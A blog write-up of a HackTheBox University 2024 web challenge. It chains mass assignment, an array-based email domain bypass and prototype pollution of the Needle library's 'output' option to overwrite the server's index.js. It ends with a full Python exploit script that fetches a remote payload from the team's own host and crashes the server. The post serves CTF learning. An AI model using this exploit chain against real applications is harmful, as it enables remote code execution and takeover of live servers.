Featured image of post [CTF HTB University 2024] - Intergalatic Bounty

[CTF HTB University 2024] - Intergalatic Bounty

From December 13 to 15, my school participated in the HackTheBox University 2024 CTF. This write-up covers the solution to one of the hard web challenges we encountered.

Intergalactic Bounty - Hard

The Galactic Bounty Exchange—a system where hunters and hunted collide, controlled by the ruthless Frontier Board. Hidden within its encrypted core lies a prize of untold power: the bounty for the Starry Spur. To ignite rebellion, Jack Colt must infiltrate this fortress of contracts, manipulate its algorithms, and claim the Spur’s bounty for himself. A race against time, a battle against the galaxy’s deadliest system—Jack’s mission will decide the fate of the Frontier.`

🤐 Source code

📜 Recognition

The source code for the application was provided. After a brief analysis, a few points stood out:

  • The app included a bot file, hinting at a client-side vulnerability.
  • There was an email application feature.
  • The backend was implemented with JavaScript files.

Now let’s see how the application work :

Upon accessing the application, we were greeted with a registration panel. When attempting to register, it became apparent that only certain email domains were allowed.

Given the presence of a bot file, I hypothesized the following attack chain:

🕵️ Exploitation

Here’s the code for the registration endpoint:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
const registerAPI = async (req, res) => {
  const { email, password, role = "guest" } = req.body;
  const emailDomain = emailAddresses.parseOneAddress(email)?.domain;

  if (!emailDomain || emailDomain !== 'interstellar.htb') {
    return res.status(200).json({ message: 'Registration is not allowed for this email domain' });
  }

  try {
    await User.createUser(email, password, role);
    return res.json({ message: "User registered. Verification email sent.", status: 201 });
  } catch (err) {
    return res.status(500).json({ message: err.message, status: 500 });
  }
};

This revealed two key points:

  • The email domain restriction needed bypassing.
  • A mass assignment vulnerability allowed us to set the role field in the payload, potentially escalating privileges.
1
2
3
4
5
6
7
POST /api/register HTTP/1.1

{
"email":"asta@interstellar.htb",
"password":"asta",
"role":"admin"
}

Once registered, the generated token confirmed our elevated privileges:

1
2
3
4
5
6
7
{
  "id": 2,
  "email": "asta@interstellar.htb",
  "role": "admin",
  "iat": 1734101513,
  "exp": 1734105113
}

That sounds great! We’re already admins, which seems unintended since we no longer need to find an XSS vulnerability to steal the bot token. Upon further investigation, I discovered what might be an SSRF vulnerability through a functionality that becomes accessible once registered as an admin on the application.

When testing locally, we noticed that bypassing the domain restriction allows us to receive the OTP code required for login, as shown in the screenshot below:

OTP code required to verify our account

OTP code required to verify our account

Now that we know we need to send an email to test@email.htb, we attempted to bypass the parsing logic of the email-addresses library. However, after multiple tests, one of my teammates discovered an alternative method to bypass it. When the application sends us an email via the MailHog app, the following request is executed:

1
2
3
4
5
POST /api/sendEmail HTTP/1.1

{
    "email":"babinks@interstellar.htb"
}

You see where this is going, right ? What happens if we provide a list of emails instead of a single string ?

1
2
3
4
5
POST /api/sendEmail HTTP/1.1

{"email":["babinks@interstellar.htb",
"test@email.htb"]
}

Exactly! When we provide a list of emails, the email lands in the Mailhog app, effectively bypassing the domain restriction. 🎉

To summarize:

  • We became admin due to a mass assignment vulnerability.
  • We discovered an SSRF vulnerability through the /transmit endpoint, which is only accessible once registered as an admin.

Here’s the code for reference:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
const fetchURL = async (url) => {
  if (!url.startsWith("http://") && !url.startsWith("https://")) {
    throw new Error("Invalid URL: URL must start with http or https");
  }

  const options = {
    compressed: true,
    follow_max: 0,
  };

  return new Promise((resolve, reject) => {
    needle.get(url, options, (err, resp, body) => {
      if (err) {
        return reject(new Error("Error fetching the URL: " + err.message));
      }
      resolve(body);
    });
  });
};

Why did the challenge maker choose to use Needle? Keep that in mind.

Fun fact : We believe the real way to become admin was this:

  • 0-day on the parser of the email-addresses library
  • exploiting mutation XSS in the app because the sanitizeHTML function wasn’t very secure.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
const sanitizeHTMLContent = (data) => {
  return Object.entries(data).reduce((acc, [key, value]) => {
    acc[key] = sanitizeHtml(value, {
      allowedTags: sanitizeHtml.defaults.allowedTags.concat([
        "math",
        "style",
        "svg",
      ]),
      allowVulnerableTags: true,
    });
    return acc;
  }, {});
};

After a couple of hours testing ways to read files or achieve RCE on the application, we focused on the Needle documentation and found this option :

1
2
3
4
5
GET binary, output to file

needle.get('http://upload.server.com/tux.png', { output: '/tmp/tux.png' }, function(err, resp, body) {
  // you can dump any response to a file, not only binaries.
});

The hypothesis was as follows: “If we can perform a prototype pollution attack and add the option output: ‘/app/index.js’, Needle will overwrite the /app/index.js file and execute our malicious code since the server is set to auto-reload.”

Before attempting prototype pollution, we tested overwriting the file on the app by manually setting the output option in Needle and it worked! Now, let’s find a way to achieve prototype pollution!

After spending more than a day analyzing the code, we quickly noticed that the use of the mergedeep library was particularly interesting, as mergedeep functions are often vulnerable to prototype pollution. Here’s the part of the code where mergedeep is used :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const editBountiesAPI = async (req, res) => {
  const { ...bountyData } = req.body;
  try {
    const data = await BountyModel.findByPk(req.params.id, {
      attributes: [
        "target_name",
        "target_aliases",
        "target_species",
        "last_known_location",
        "galaxy",
        "star_system",
        "planet",
        "coordinates",
        "reward_credits",
        "reward_items",
        "issuer_name",
        "issuer_faction",
        "risk_level",
        "required_equipment",
        "posted_at",
        "status",
        "image",
        "description",
        "crimes",
        "id",
      ],
    });

    if (!data) {
      return res.status(404).json({ message: "Bounty not found" });
    }

    const updated = mergedeep(data.toJSON(), bountyData);

    await data.update(updated);

    return res.json(updated);
  } catch (err) {
    console.log(err);
    return res.status(500).json({ message: "Error fetching data" });
  }
};

It’s interesting because this API endpoint can only be called once we are registered as an admin, so it seems we are on the right track. 😉

By fetching this API endpoint as follows, we can trigger prototype pollution:

s.put(WEB_URL + "api/bounties/1", json={"__proto__":{"output":"/app/index.js"}}, headers={"Cookie":"auth="+token}).text)

And then, we can overwrite the file by using the Needle feature. (Note that the compressed option is set to True in Needle, so you need to zip the file before sending the request with Needle).

🤭 Final script

Here the final script written by Woody :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import os
from rich import print

WEB_URL = "http://94.237.60.227:45999/"
MAIL_URL = "http://94.237.60.227:57089/"
LOCAL = False
if LOCAL:
    WEB_URL = "http://localhost:1337/"
    MAIL_URL = "http://localhost:8080/"

register_data = {
    "email": os.urandom(8).hex() + "@interstellar.htb",
    "password": "woody",
    "role":"admin"
}
print(register_data)
s = requests.Session()
r = requests.get(MAIL_URL + "deleteall")
s.get(WEB_URL)
s.post(WEB_URL + "api/register", json=register_data)
s.post(WEB_URL + "api/login", json=register_data)
s.post(WEB_URL + "api/sendEmail", json={"email":[register_data["email"], "test@email.htb"]})

r = requests.get(MAIL_URL).text

code = r.split("Your verification code is: ")[1].split("<")[0].strip()
print(code)
s.post(WEB_URL + "api/verify", json={"email":register_data["email"], "code":code})

token = s.post(WEB_URL + "api/login", json=register_data).json()["token"]
print(token)

print(s.put(WEB_URL + "api/bounties/1", json={"__proto__":{"output":"/app/index.js"}}, headers={"Cookie":"auth="+token}).text) # pollute options

print(s.post(WEB_URL + "api/transmit", json={"url":"https://focal.woody.sh/"}, headers={"Cookie":"auth="+token}).text) # write the file 
print(s.post(WEB_URL + "api/transmit", json={"url":"http://127.0.0.1:1025/"}, headers={"Cookie":"auth=" + token})) # Crash the webserver

And here the flag : HTB{f1nd1ng_0d4y_15_345Y_r1gh7!!?_97c10223cada67794bcc9584b943c9e5}

This challenge was a lot of fun! I think it was a bit easier than expected by the challenge maker, thanks to some unintended bypasses like the mass assignment to become admin. Big thanks to my teammates—I’ve learned so much from them, and I definitely wouldn’t have been able to flag this challenge alone; it was really a team effort! 😊

Also, I’m super happy to be part of the school team and to reach second place again this year! 🎉

Licensed under CC BY-NC-SA 4.0